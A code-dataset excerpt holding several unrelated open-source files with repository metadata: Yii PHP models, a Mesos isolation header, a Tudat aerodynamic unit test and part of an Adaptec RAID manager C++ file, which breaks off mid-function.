<?php namespace backend\models; use Yii; use yii\base\Model; use yii\data\ActiveDataProvider; use backend\models\TaxonomyItems; /** * TaxonomyItemsSearch represents the model behind the search form about `app\models\TaxonomyItems`. */ class TaxonomyItemsSearch extends TaxonomyItems { /** * @inheritdoc */ public function rules() { return [ [['vid'], 'required'], [['id', 'vid', 'pid'], 'integer'], [['name'], 'safe'], ]; } /** * @inheritdoc */ public function scenarios() { // bypass scenarios() implementation in the parent class return Model::scenarios(); } /** * Creates data provider instance with search query applied * * @param array $params * * @return ActiveDataProvider */ public function search($params) { $query = TaxonomyItems::find(); $dataProvider = new ActiveDataProvider([ 'query' => $query, ]); if (!($this->load($params) && $this->validate())) { return $dataProvider; } $query->andFilterWhere([ 'id' => $this->id, 'vid' => $this->vid, ]); $query->andFilterWhere(['like', 'name', $this->name]); return $dataProvider; } }
bsd-3-clause
enthought/etsproxy
enthought/pyface/ui/wx/system_metrics.py
57
# proxy module from pyface.ui.wx.system_metrics import *
bsd-3-clause
benh/twesos
src/slave/isolation_module.hpp
992
#ifndef __ISOLATION_MODULE_HPP__ #define __ISOLATION_MODULE_HPP__ #include <string> namespace mesos { namespace internal { namespace slave { class Framework; class Slave; class IsolationModule { public: static IsolationModule * create(const std::string &type); static void destroy(IsolationModule *module); virtual ~IsolationModule() {} // Called during slave initialization. virtual void initialize(Slave *slave) {} // Called by the slave to launch an executor for a given framework. virtual void startExecutor(Framework *framework) = 0; // Terminate a framework's executor, if it is still running. // The executor is expected to be gone after this method exits. virtual void killExecutor(Framework *framework) = 0; // Update the resource limits for a given framework. This method will // be called only after an executor for the framework is started. virtual void resourcesChanged(Framework *framework) {} }; }}} #endif /* __ISOLATION_MODULE_HPP__ */
bsd-3-clause
wangpengzhen/web
frontend/models/money/Quota.php
1084
<?php namespace frontend\models\money; use Yii; /** * This is the model class for table "fin_quota". * * @property integer $quota_id * @property integer $user_id * @property string $quota_amount * @property string $quota_desc * @property integer $quota_status * @property integer $addtime */ class Quota extends \yii\db\ActiveRecord { /** * @inheritdoc */ public static function tableName() { return 'fin_quota'; } /** * @inheritdoc */ public function rules() { return [ [['user_id', 'quota_status', 'addtime'], 'integer'], [['quota_amount'], 'number'], [['quota_desc'], 'string', 'max' => 80] ]; } /** * @inheritdoc */ public function attributeLabels() { return [ 'quota_id' => 'Quota ID', 'user_id' => 'User ID', 'quota_amount' => 'Quota Amount', 'quota_desc' => 'Quota Desc', 'quota_status' => 'Quota Status', 'addtime' => 'Addtime', ]; } }
bsd-3-clause
DominicDirkx/tudat
Tudat/Astrodynamics/Aerodynamics/UnitTests/unitTestControlSurfaceIncrements.cpp
19487
/* Copyright (c) 2010-2018, Delft University of Technology * All rigths reserved * * This file is part of the Tudat. Redistribution and use in source and * binary forms, with or without modification, are permitted exclusively * under the terms of the Modified BSD license. You should have received * a copy of the license with this file. If not, please or visit: * http://tudat.tudelft.nl/LICENSE. */ #define BOOST_TEST_MAIN #include <boost/array.hpp> #include <boost/make_shared.hpp> #include <memory> #include <boost/test/floating_point_comparison.hpp> #include <boost/test/unit_test.hpp> #include <Eigen/Core> #include "Tudat/Mathematics/BasicMathematics/mathematicalConstants.h" #include "Tudat/Astrodynamics/Aerodynamics/hypersonicLocalInclinationAnalysis.h" #include "Tudat/Astrodynamics/Aerodynamics/customAerodynamicCoefficientInterface.h" #include "Tudat/Basics/basicTypedefs.h" #include "Tudat/Mathematics/GeometricShapes/capsule.h" #include "Tudat/Mathematics/GeometricShapes/sphereSegment.h" #include "Tudat/SimulationSetup/tudatSimulationHeader.h" #include "Tudat/Astrodynamics/Aerodynamics/UnitTests/testApolloCapsuleCoefficients.h" namespace tudat { namespace unit_tests { //! Dummy class used to test the use of control surface deflections in numerical propagation. //! In this class, a single control surface named "TestSurface" is set to a time-dependent deflection at each time step, //! as is the angle of attack. The update is performed by the AerodynamicAngleCalculator, as linked by this class' //! constructor class DummyGuidanceSystem { public: DummyGuidanceSystem( const std::function< void( const std::string&, const double ) > controlSurfaceFunction, const std::shared_ptr< reference_frames::AerodynamicAngleCalculator > angleCalculator ): controlSurfaceFunction_( controlSurfaceFunction ), angleCalculator_( angleCalculator ), currentAngleOfAttack_( 0.0 ), currentSurfaceDeflection_( 0.0 ) { angleCalculator_->setOrientationAngleFunctions( std::bind( &DummyGuidanceSystem::getCurrentAngleOfAttack, this ), std::function< double( ) >( ), std::function< double( ) >( ), std::bind( &DummyGuidanceSystem::updateGuidance, this, std::placeholders::_1 ) ); controlSurfaceFunction_( "TestSurface", 0.2 ); } ~DummyGuidanceSystem( ){ } void updateGuidance( const double currentTime ) { currentAngleOfAttack_ = 0.3 * ( 1.0 - currentTime / 1000.0 ); currentSurfaceDeflection_ = -0.02 + 0.04 * currentTime / 1000.0; controlSurfaceFunction_( "TestSurface", currentSurfaceDeflection_ ); } double getCurrentAngleOfAttack( ) { return currentAngleOfAttack_; } double getCurrentSurfaceDeflection( ) { return currentSurfaceDeflection_; } private: std::function< void( const std::string&, const double ) > controlSurfaceFunction_; std::shared_ptr< reference_frames::AerodynamicAngleCalculator > angleCalculator_; double currentAngleOfAttack_; double currentSurfaceDeflection_; }; using Eigen::Vector6d; using mathematical_constants::PI; BOOST_AUTO_TEST_SUITE( test_control_surface_increments ) //! Function to return dummy control increments as a function of 2 independnt variables Eigen::Vector6d dummyControlIncrements( const std::vector< double > independentVariables ) { Eigen::Vector6d randomControlIncrements = ( Eigen::Vector6d( ) << 1.0, -3.5, 2.1, 0.4, -0.75, 1.3 ).finished( ); for( unsigned int i = 0; i < 6; i++ ) { randomControlIncrements( i ) *= ( 0.01 * independentVariables.at( 0 ) + static_cast< double >( i ) * 0.005 * independentVariables.at( 1 ) ); } BOOST_CHECK_EQUAL( independentVariables.size( ), 2 ); return randomControlIncrements; } //! Test update and retrieval of control surface aerodynamic coefficient increments, outside of the numerical propagation BOOST_AUTO_TEST_CASE( testControlSurfaceIncrementInterface ) { // Create aerodynamic coefficient interface without control increments. std::shared_ptr< AerodynamicCoefficientInterface > coefficientInterfaceWithoutIncrements = getApolloCoefficientInterface( ); // Create aerodynamic coefficient interface with control increments. std::shared_ptr< AerodynamicCoefficientInterface > coefficientInterfaceWithIncrements = getApolloCoefficientInterface( ); std::shared_ptr< ControlSurfaceIncrementAerodynamicInterface > controlSurfaceInterface = std::make_shared< CustomControlSurfaceIncrementAerodynamicInterface >( &dummyControlIncrements, std::vector< AerodynamicCoefficientsIndependentVariables >{ angle_of_attack_dependent, control_surface_deflection_dependent } ); std::map< std::string, std::shared_ptr< ControlSurfaceIncrementAerodynamicInterface > > controlSurfaceList; controlSurfaceList[ "TestSurface" ] = controlSurfaceInterface; coefficientInterfaceWithIncrements->setControlSurfaceIncrements( controlSurfaceList ); // Define values of independent variables of body aerodynamics std::vector< double > independentVariables; independentVariables.push_back( 10.0 ); independentVariables.push_back( 0.1 ); independentVariables.push_back( -0.01 ); // Define values of independent variables of control surface aerodynamics std::map< std::string, std::vector< double > > controlSurfaceIndependentVariables; controlSurfaceIndependentVariables[ "TestSurface" ].push_back( 0.1 ); controlSurfaceIndependentVariables[ "TestSurface" ].push_back( 0.0 ); // Declare test variables. Eigen::Vector3d forceWithIncrement, forceWithoutIncrement; Eigen::Vector3d momentWithIncrement, momentWithoutIncrement; Eigen::Vector6d manualControlIncrements; // Test coefficient interfaces for range of independent variables. for( double angleOfAttack = -0.4; angleOfAttack < 0.4; angleOfAttack += 0.02 ) { for( double deflectionAngle = -0.05; deflectionAngle < 0.05; deflectionAngle += 0.001 ) { // Set indepdnent variables. controlSurfaceIndependentVariables[ "TestSurface" ][ 0 ] = angleOfAttack; controlSurfaceIndependentVariables[ "TestSurface" ][ 1 ] = deflectionAngle; independentVariables[ 1 ] = angleOfAttack; // Update coefficients coefficientInterfaceWithoutIncrements->updateFullCurrentCoefficients( independentVariables ); coefficientInterfaceWithIncrements->updateFullCurrentCoefficients( independentVariables, controlSurfaceIndependentVariables ); // Retrieve coefficients. forceWithIncrement = coefficientInterfaceWithIncrements->getCurrentForceCoefficients( ); forceWithoutIncrement = coefficientInterfaceWithoutIncrements->getCurrentForceCoefficients( ); momentWithIncrement = coefficientInterfaceWithIncrements->getCurrentMomentCoefficients( ); momentWithoutIncrement = coefficientInterfaceWithoutIncrements->getCurrentMomentCoefficients( ); // Test coefficients manualControlIncrements = dummyControlIncrements( controlSurfaceIndependentVariables[ "TestSurface" ] ); for( unsigned int i = 0; i < 3; i++ ) { BOOST_CHECK_SMALL( std::fabs( forceWithIncrement( i ) - forceWithoutIncrement( i ) - manualControlIncrements( i ) ), 1.0E-14 ); BOOST_CHECK_SMALL( std::fabs( momentWithIncrement( i ) - momentWithoutIncrement( i ) - manualControlIncrements( i + 3 ) ), 1.0E-14 ); } } } } //! Test use of control surface deflections in a full numerical propagation, with a dummy (e.g. non-physical) model //! for aerodynamic and control surface guidance. Test case uses Apollo capsule entry and coefficients. BOOST_AUTO_TEST_CASE( testControlSurfaceIncrementInterfaceInPropagation ) { using namespace tudat; using namespace ephemerides; using namespace interpolators; using namespace numerical_integrators; using namespace spice_interface; using namespace simulation_setup; using namespace basic_astrodynamics; using namespace orbital_element_conversions; using namespace propagators; using namespace aerodynamics; using namespace basic_mathematics; using namespace input_output; // Load Spice kernels. spice_interface::loadStandardSpiceKernels( ); // Set simulation start epoch. const double simulationStartEpoch = 0.0; // Set simulation end epoch. const double simulationEndEpoch = 3300.0; // Set numerical integration fixed step size. const double fixedStepSize = 1.0; // Set initial Keplerian elements for vehicle. Vector6d apolloInitialStateInKeplerianElements; apolloInitialStateInKeplerianElements( semiMajorAxisIndex ) = spice_interface::getAverageRadius( "Earth" ) + 120.0E3; apolloInitialStateInKeplerianElements( eccentricityIndex ) = 0.005; apolloInitialStateInKeplerianElements( inclinationIndex ) = unit_conversions::convertDegreesToRadians( 85.3 ); apolloInitialStateInKeplerianElements( argumentOfPeriapsisIndex ) = unit_conversions::convertDegreesToRadians( 235.7 ); apolloInitialStateInKeplerianElements( longitudeOfAscendingNodeIndex ) = unit_conversions::convertDegreesToRadians( 23.4 ); apolloInitialStateInKeplerianElements( trueAnomalyIndex ) = unit_conversions::convertDegreesToRadians( 139.87 ); // Convert apollo state from Keplerian elements to Cartesian elements. const Vector6d apolloInitialState = convertKeplerianToCartesianElements( apolloInitialStateInKeplerianElements, getBodyGravitationalParameter( "Earth" ) ); // Define simulation body settings. std::map< std::string, std::shared_ptr< BodySettings > > bodySettings = getDefaultBodySettings( { "Earth", "Moon" }, simulationStartEpoch - 10.0 * fixedStepSize, simulationEndEpoch + 10.0 * fixedStepSize ); bodySettings[ "Earth" ]->gravityFieldSettings = std::make_shared< simulation_setup::GravityFieldSettings >( central_spice ); // Create Earth object simulation_setup::NamedBodyMap bodyMap = simulation_setup::createBodies( bodySettings ); // Create vehicle objects. bodyMap[ "Apollo" ] = std::make_shared< simulation_setup::Body >( ); // Create vehicle aerodynamic coefficients bodyMap[ "Apollo" ]->setAerodynamicCoefficientInterface( unit_tests::getApolloCoefficientInterface( ) ); std::shared_ptr< ControlSurfaceIncrementAerodynamicInterface > controlSurfaceInterface = std::make_shared< CustomControlSurfaceIncrementAerodynamicInterface >( &dummyControlIncrements, std::vector< AerodynamicCoefficientsIndependentVariables >{ angle_of_attack_dependent, control_surface_deflection_dependent } ); std::map< std::string, std::shared_ptr< ControlSurfaceIncrementAerodynamicInterface > > controlSurfaceList; controlSurfaceList[ "TestSurface" ] = controlSurfaceInterface; bodyMap[ "Apollo" ]->getAerodynamicCoefficientInterface( )->setControlSurfaceIncrements( controlSurfaceList ); bodyMap[ "Apollo" ]->setConstantBodyMass( 5.0E3 ); bodyMap[ "Apollo" ]->setEphemeris( std::make_shared< ephemerides::TabulatedCartesianEphemeris< > >( std::shared_ptr< interpolators::OneDimensionalInterpolator< double, Eigen::Vector6d > >( ), "Earth" ) ); std::shared_ptr< system_models::VehicleSystems > apolloSystems = std::make_shared< system_models::VehicleSystems >( ); bodyMap[ "Apollo" ]->setVehicleSystems( apolloSystems ); // Finalize body creation. setGlobalFrameBodyEphemerides( bodyMap, "SSB", "ECLIPJ2000" ); // Define propagator settings variables. SelectedAccelerationMap accelerationMap; std::vector< std::string > bodiesToPropagate; std::vector< std::string > centralBodies; // Define acceleration model settings. std::map< std::string, std::vector< std::shared_ptr< AccelerationSettings > > > accelerationsOfApollo; accelerationsOfApollo[ "Earth" ].push_back( std::make_shared< AccelerationSettings >( central_gravity ) ); accelerationsOfApollo[ "Earth" ].push_back( std::make_shared< AccelerationSettings >( aerodynamic ) ); accelerationsOfApollo[ "Moon" ].push_back( std::make_shared< AccelerationSettings >( central_gravity ) ); accelerationMap[ "Apollo" ] = accelerationsOfApollo; bodiesToPropagate.push_back( "Apollo" ); centralBodies.push_back( "Earth" ); // Set initial state Eigen::Vector6d systemInitialState = apolloInitialState; // Define list of dependent variables to save. std::vector< std::shared_ptr< SingleDependentVariableSaveSettings > > dependentVariables; dependentVariables.push_back( std::make_shared< SingleDependentVariableSaveSettings >( mach_number_dependent_variable, "Apollo" ) ); dependentVariables.push_back( std::make_shared< BodyAerodynamicAngleVariableSaveSettings >( "Apollo", reference_frames::angle_of_attack ) ); dependentVariables.push_back( std::make_shared< BodyAerodynamicAngleVariableSaveSettings >( "Apollo", reference_frames::angle_of_sideslip ) ); dependentVariables.push_back( std::make_shared< SingleDependentVariableSaveSettings >( control_surface_deflection_dependent_variable, "Apollo", "TestSurface" ) ); dependentVariables.push_back( std::make_shared< SingleDependentVariableSaveSettings >( aerodynamic_moment_coefficients_dependent_variable, "Apollo" ) ); dependentVariables.push_back( std::make_shared< SingleDependentVariableSaveSettings >( aerodynamic_force_coefficients_dependent_variable, "Apollo" ) ); // Create acceleration models basic_astrodynamics::AccelerationMap accelerationModelMap = createAccelerationModelsMap( bodyMap, accelerationMap, bodiesToPropagate, centralBodies ); // Set update function for body orientation and control surface deflections std::shared_ptr< DummyGuidanceSystem > dummyGuidanceSystem = std::make_shared< DummyGuidanceSystem >( std::bind( &system_models::VehicleSystems::setCurrentControlSurfaceDeflection, apolloSystems, std::placeholders::_1, std::placeholders::_2 ), bodyMap[ "Apollo" ]->getFlightConditions( )->getAerodynamicAngleCalculator( ) ); // Create propagation and integrtion settings. std::shared_ptr< TranslationalStatePropagatorSettings< double > > propagatorSettings = std::make_shared< TranslationalStatePropagatorSettings< double > > ( centralBodies, accelerationModelMap, bodiesToPropagate, systemInitialState, std::make_shared< propagators::PropagationTimeTerminationSettings >( 1000.0 ), cowell, std::make_shared< DependentVariableSaveSettings >( dependentVariables ) ); std::shared_ptr< IntegratorSettings< > > integratorSettings = std::make_shared< IntegratorSettings< > > ( rungeKutta4, simulationStartEpoch, fixedStepSize ); // Create simulation object and propagate dynamics. SingleArcDynamicsSimulator< > dynamicsSimulator( bodyMap, integratorSettings, propagatorSettings, true, false, false ); // Retrieve numerical solutions for state and dependent variables std::map< double, Eigen::Matrix< double, Eigen::Dynamic, 1 > > numericalSolution = dynamicsSimulator.getEquationsOfMotionNumericalSolution( ); std::map< double, Eigen::VectorXd > dependentVariableSolution = dynamicsSimulator.getDependentVariableHistory( ); // Declare test variables. double currentAngleOfAttack, currentSideslipAngle, currentMachNumber, currentSurfaceDeflection, currentTime; Eigen::Vector3d currentForceCoefficients, currentMomentCoefficients; Eigen::Vector3d expectedForceCoefficients, expectedMomentCoefficients; std::vector< double > currentAerodynamicsIndependentVariables; currentAerodynamicsIndependentVariables.resize( 3 ); std::map< std::string, std::vector< double > > currentAerodynamicsControlIndependentVariables; currentAerodynamicsControlIndependentVariables[ "TestSurface" ].resize( 2 ); // Iterate over saved variables and compare to expected values std::shared_ptr< AerodynamicCoefficientInterface > coefficientInterface = bodyMap[ "Apollo" ]->getAerodynamicCoefficientInterface( ); for( std::map< double, Eigen::VectorXd >::iterator variableIterator = dependentVariableSolution.begin( ); variableIterator != dependentVariableSolution.end( ); variableIterator++ ) { // Retrieve dependent variables currentTime = variableIterator->first; currentMachNumber = variableIterator->second( 0 ); currentAngleOfAttack = variableIterator->second( 1 ); currentSideslipAngle = variableIterator->second( 2 ); currentSurfaceDeflection = variableIterator->second( 3 ); currentMomentCoefficients = variableIterator->second.segment( 4, 3 ); currentForceCoefficients = variableIterator->second.segment( 7, 3 ); // Test angles of attack and sideslip, and control surface deflection, against expectec values BOOST_CHECK_SMALL( std::fabs( currentAngleOfAttack - 0.3 * ( 1.0 - currentTime / 1000.0 ) ), 1.0E-14 ); BOOST_CHECK_SMALL( std::fabs( currentSideslipAngle ), 1.0E-14 ); BOOST_CHECK_SMALL( std::fabs( currentSurfaceDeflection - ( -0.02 + 0.04 * currentTime / 1000.0 ) ), 1.0E-14 ); // Set current aerodynamic coefficient independent variables and retrieve coefficients.c. currentAerodynamicsIndependentVariables[ 0 ] = currentMachNumber; currentAerodynamicsIndependentVariables[ 1 ] = currentAngleOfAttack; currentAerodynamicsIndependentVariables[ 2 ] = currentSideslipAngle; currentAerodynamicsControlIndependentVariables[ "TestSurface" ][ 0 ] = currentAngleOfAttack; currentAerodynamicsControlIndependentVariables[ "TestSurface" ][ 1 ] = currentSurfaceDeflection; coefficientInterface->updateFullCurrentCoefficients( currentAerodynamicsIndependentVariables, currentAerodynamicsControlIndependentVariables ); expectedForceCoefficients = coefficientInterface->getCurrentForceCoefficients( ); expectedMomentCoefficients = coefficientInterface->getCurrentMomentCoefficients( ); // Test expected against actual aerodynamic coefficients. for( unsigned int i = 0; i < 3; i++ ) { BOOST_CHECK_SMALL( std::fabs( expectedForceCoefficients( i ) - currentForceCoefficients( i ) ), 1.0E-14 ); BOOST_CHECK_SMALL( std::fabs( expectedMomentCoefficients( i ) - currentMomentCoefficients( i ) ), 1.0E-14 ); } } } BOOST_AUTO_TEST_SUITE_END( ) } // namespace unit_tests } // namespace tudat
bsd-3-clause
barak/raidutils
raideng/scsi_mgr.cpp
15972
/* Copyright (c) 1996-2004, Adaptec Corporation * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * - Redistributions of source code must retain the above copyright notice, this * list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * - Neither the name of the Adaptec Corporation nor the names of its * contributors may be used to endorse or promote products derived from this * software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ //File - SCSI_MGR.CPP //*************************************************************************** // //Description: // // This file contains the function definitions for the dptSCSImgr_C //class. // //Author: Doug Anderson //Date: 3/9/93 // //Editors: // //Remarks: // // //*************************************************************************** //Include Files ------------------------------------------------------------- #include "allfiles.hpp" // All engine include files //Function - dptSCSImgr_C::dptSCSImgr_C() - start //=========================================================================== // //Description: // // This function is the constructor for the dptSCSImgr_C class. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- dptSCSImgr_C::dptSCSImgr_C() { // Every second rbldFrequency = 90; // 256k per burst rbldAmount = 256 * 2; // Clear the RAID support flags raidSupport = 0; // Default = 6 second delay spinDownDelay = 6; // Default = Do not poll for rebuilding rbldPollFreq = 0; // Clear the RAID rebuild flags raidFlags = 0; } //dptSCSImgr_C::dptSCSImgr_C() - end //Function - dptSCSImgr_C::preEnterLog() - start //=========================================================================== // //Description: // // This function is called prior to entering a device in this manager's //logical device list. This function should be used to set any ownership //flags... // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::preEnterLog(dptCoreDev_C *dev_P) { DPT_RTN_T retVal = MSG_RTN_COMPLETED; // Set the device's HBA to this manager's HBA dev_P->hba_P = myHBA_P(); // Update the device's HBA # dev_P->updateHBAnum(); // Insure the device's SCSI ID is unique //if (!isUniqueLog(dev_P->getAddr(),0x7)) // retVal = MSG_RTN_FAILED | ERR_SCSI_ADDR_CONFLICT; return (retVal); } //dptSCSImgr_C::preEnterLog() - end //Function - dptSCSImgr_C::preEnterPhy() - start //=========================================================================== // //Description: // // This function is called prior to entering an object in this manager's //physical object list. This function should be used to set any ownership //flags... // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::preEnterPhy(dptCoreObj_C *obj_P) { DPT_RTN_T retVal = MSG_RTN_COMPLETED; dptAddr_S tempAddr; // Cast the core object as a SCSI object dptSCSIobj_C *scsi_P = (dptSCSIobj_C *) obj_P; // Set the device's HBA to this manager's HBA scsi_P->hba_P = myHBA_P(); // Update the object's HBA # scsi_P->updateHBAnum(); tempAddr = scsi_P->getAddr(); // Insure the object's address is within the minimum bounds //if (!phyRange.inBounds(tempAddr)) // retVal = MSG_RTN_FAILED | ERR_SCSI_ADDR_BOUNDS; // Insure the object's SCSI ID is not equal to this manager's SCSI ID //else if (scsi_P->getID()==getMgrPhyID()) //if (scsi_P->getID()==getMgrPhyID()) // retVal = MSG_RTN_FAILED | ERR_SCSI_ADDR_CONFLICT; // Insure the object's SCSI ID is unique //else if (!isUniquePhy(tempAddr,0x6)) // retVal = MSG_RTN_FAILED | ERR_SCSI_ADDR_CONFLICT; return (retVal); } //dptSCSImgr_C::preEnterPhy() - end //Function - dptSCSImgr_C::preAddLog() - start //=========================================================================== // //Description: // // This function is called prior to adding a device to this manager's //logical device list. This function insures that the device has a //unique SCSI address and positions the logical device list to enter //the device in SCSI address order. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- uSHORT dptSCSImgr_C::preAddLog(dptCoreDev_C *dev_P) { uSHORT unique = positionSCSI(logList,dev_P->getAddr()); return (unique); } //dptSCSImgr_C::preAddLog() - end //Function - dptSCSImgr_C::preAddPhy() - start //=========================================================================== // //Description: // // This function is called prior to adding an object to this manager's //physical device list. This function insures that the device has a //unique SCSI address and positions the physical object list to enter //the object in SCSI address order. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- uSHORT dptSCSImgr_C::preAddPhy(dptCoreObj_C *obj_P) { uSHORT unique = positionSCSI(phyList,((dptSCSIobj_C *)obj_P)->getAddr()); return (unique); } //dptSCSImgr_C::preAddPhy() - end //Function - dptSCSImgr_C::getNextAddr() - start //=========================================================================== // //Description: // // This function attempts to find the next available address in the //specified list. The entire physical address range is checked. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- uSHORT dptSCSImgr_C::getNextAddr(dptCoreList_C &list, dptAddr_S &inAddr, uCHAR mask, uCHAR notMyID ) { uSHORT found = 0; for (phyRange.reset();!phyRange.maxedOut() && !found; phyRange.incTopDown()) { // Set the SCSI address inAddr = phyRange.cur(); inAddr.hba = getHBA(); // If the address is unique... if (isUniqueAddr(list,inAddr,mask)) if (!notMyID || (inAddr.id!=getMgrPhyID())) found = 1; } // end for (phyRange) // If a unique address was not found... if (!found) { // Set the address to the minimum address inAddr = phyRange.getMinAddr(); inAddr.hba = getHBA(); } return (found); } //dptSCSImgr_C::getAddr() - end //Function - dptSCSImgr_C::createArtificial() - start //=========================================================================== // //Description: // // This function creates an absent object and enters the object into //the engine core. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::createArtificial(dptBuffer_S *fromEng_P, dptBuffer_S *toEng_P ) { DPT_RTN_T retVal = MSG_RTN_DATA_UNDERFLOW; uSHORT objType; dptSCSIobj_C *obj_P; // Skip the tag field toEng_P->skip(sizeof(DPT_TAG_T)); // Read the object type if (toEng_P->extract(&objType,sizeof(uSHORT))) { retVal = MSG_RTN_FAILED | ERR_NEW_ARTIFICIAL; if (isValidAbsentObj(objType)) { // Create a new object obj_P = (dptSCSIobj_C *) newObject(objType); if (obj_P != NULL) { // Reset the input buffer toEng_P->replay(); // Attempt to set the object's data obj_P->setInfo(toEng_P,1); // Flag the object as artificial obj_P->status.flags |= FLG_STAT_ARTIFICIAL; // Add the object to this manager's list if (enterAbs(obj_P)==MSG_RTN_COMPLETED) // Return the new object's ID retVal = obj_P->returnID(fromEng_P); } } } return (retVal); } //dptSCSImgr_C::createArtificial() - end //Function - dptSCSImgr_C::setInfo() - start //=========================================================================== // //Description: // // This function sets SCSI manager information from the specified //input buffer. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::setInfo(dptBuffer_S *toEng_P,uSHORT setAll) { DPT_RTN_T retVal = MSG_RTN_DATA_UNDERFLOW; // Set base class information dptSCSIobj_C::setInfo(toEng_P,setAll); // Skip the maximum physical address supported toEng_P->skip(sizeof(dptAddr_S)); // Skip the minimum physical address supported toEng_P->skip(sizeof(dptAddr_S)); if (!setAll) { // Skip the rebuild frequency toEng_P->skip(sizeof(uSHORT)); // Skip the rebuild amount toEng_P->skip(sizeof(uSHORT)); // Skip the RAID support flags toEng_P->skip(sizeof(uSHORT)); // Skip the polling interval for RAID rebuilds toEng_P->skip(sizeof(uSHORT)); // Skip the miscellaneous RAID flags toEng_P->skip(sizeof(uSHORT)); // Skip the spinDownTime if (toEng_P->skip(sizeof(uSHORT))) retVal = MSG_RTN_COMPLETED; } else { // Set the rebuild frequency toEng_P->extract(rbldFrequency); // Set the rebuild amount toEng_P->extract(rbldAmount); // Set the RAID support flags toEng_P->extract(raidSupport); // Set the polling interval for RAID rebuilds toEng_P->extract(rbldPollFreq); // Set the miscellaneous RAID flags toEng_P->extract(raidFlags); // Set the spinDownTime if (toEng_P->extract(spinDownDelay)) retVal = MSG_RTN_COMPLETED; } return (retVal); } //dptSCSImgr_C::setInfo() - end //Function - dptSCSImgr_C::rtnInfo() - start //=========================================================================== // //Description: // // This function returns SCSI manager information to the specified //output buffer. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::rtnInfo(dptBuffer_S *fromEng_P) { DPT_RTN_T retVal = MSG_RTN_DATA_OVERFLOW; // Return base class information dptSCSIobj_C::rtnInfo(fromEng_P); // Return the maximum physical address supported fromEng_P->insert((void *)&phyRange.getMaxAddr(),sizeof(dptAddr_S)); // Return the minimum physical address supported fromEng_P->insert((void *)&phyRange.getMinAddr(),sizeof(dptAddr_S)); // Return the rebuild freqency fromEng_P->insert(rbldFrequency); // Return the rebuild amount fromEng_P->insert(rbldAmount); // Return the RAID type support flags fromEng_P->insert(raidSupport); // Return the polling interval to check for rebuilds fromEng_P->insert(rbldPollFreq); // If partition table zapping is enabled if (myConn_P()->isPartZap()) raidFlags &= ~FLG_PART_ZAP_DISABLED; else raidFlags |= FLG_PART_ZAP_DISABLED; // Return the miscellaneous RAID flags fromEng_P->insert(raidFlags); // Return the failed drive spin down delay time if (fromEng_P->insert(spinDownDelay)) retVal = MSG_RTN_COMPLETED; return (retVal); } //dptSCSImgr_C::rtnInfo() - end //Function - dptSCSImgr_C::isValidAbsentObj() - start //=========================================================================== // //Description: // // This function determines if an artificial engine object of the //specified type can be added to this manager's device list. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- uSHORT dptSCSImgr_C::isValidAbsentObj(uSHORT objType) { uSHORT isValid = 0; // If a SCSI device... if (objType<=0xff) // Indicate a valid artificial object type isValid = 1; return (isValid); } //dptSCSImgr_C::isValidAbsentObj() - end //Function - dptSCSImgr_C::handleMessage() - start //=========================================================================== // //Description: // // This routine handles DPT events for the dptSCSImgr_C class. // //Parameters: // //Return Value: // //Global Variables Affected: // //Remarks: (Side effects, Assumptions, Warnings...) // // //--------------------------------------------------------------------------- DPT_RTN_T dptSCSImgr_C::handleMessage(DPT_MSG_T message, dptBuffer_S *fromEng_P, dptBuffer_S *toEng_P ) { DPT_RTN_T retVal = MSG_RTN_IGNORED; switch (message) { // Return object IDs from this manager's physical object list case MSG_ID_PHYSICALS: retVal = rtnIDfromList(phyList,fromEng_P,toEng_P,0); break; // Return object IDs from this manager's physical object list // and any sub-manager's logical device lists case MSG_ID_VISIBLES: retVal = rtnIDfromList(phyList,fromEng_P,toEng_P,OPT_TRAVERSE_LOG); break; // Return object IDs from this manager's physical object list // and any sub-manager's physical object lists case MSG_ID_ALL_PHYSICALS: retVal = 